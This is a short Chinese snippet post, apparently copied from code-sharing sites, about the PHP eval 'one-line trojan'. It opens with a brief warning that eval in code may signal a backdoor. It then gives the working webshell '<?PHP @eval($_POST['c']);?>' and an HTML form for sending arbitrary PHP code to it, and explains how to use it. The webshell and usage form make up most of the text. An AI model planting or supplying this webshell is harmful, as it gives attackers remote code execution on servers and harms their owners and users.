eval可以用来执行任何其他PHP代码,所以对于代码里发现了eval函数一定要小心,可能是木马
就这一句话害死人,这样任何人都可以post任何文件上来,所以要做好防范
/**
* PHP eval函数一句话木马代码
*
* @param
* @arrange 512-笔记网: jb51.cc
**/
<?PHP @eval($_POST['c']);?>
/*** 来自编程之家 jb51.cc(jb51.cc) ***/
使用方法也很简单,本地提交文件指向提交文件,里面的PHP代码就会被执行
/**
* PHP eval函数一句话木马代码
*
* @param
* @arrange 512-笔记网: jb51.cc
**/
<html>
<body>
<form action="a.PHP" method="post">
<input type="text" name="c" value="PHPinfo();">
<input type="submit" value="submit">
</form>
</body>
</html>
/*** 来自编程之家 jb51.cc(jb51.cc) ***/
原文链接:https://www.f2er.com/php/528213.html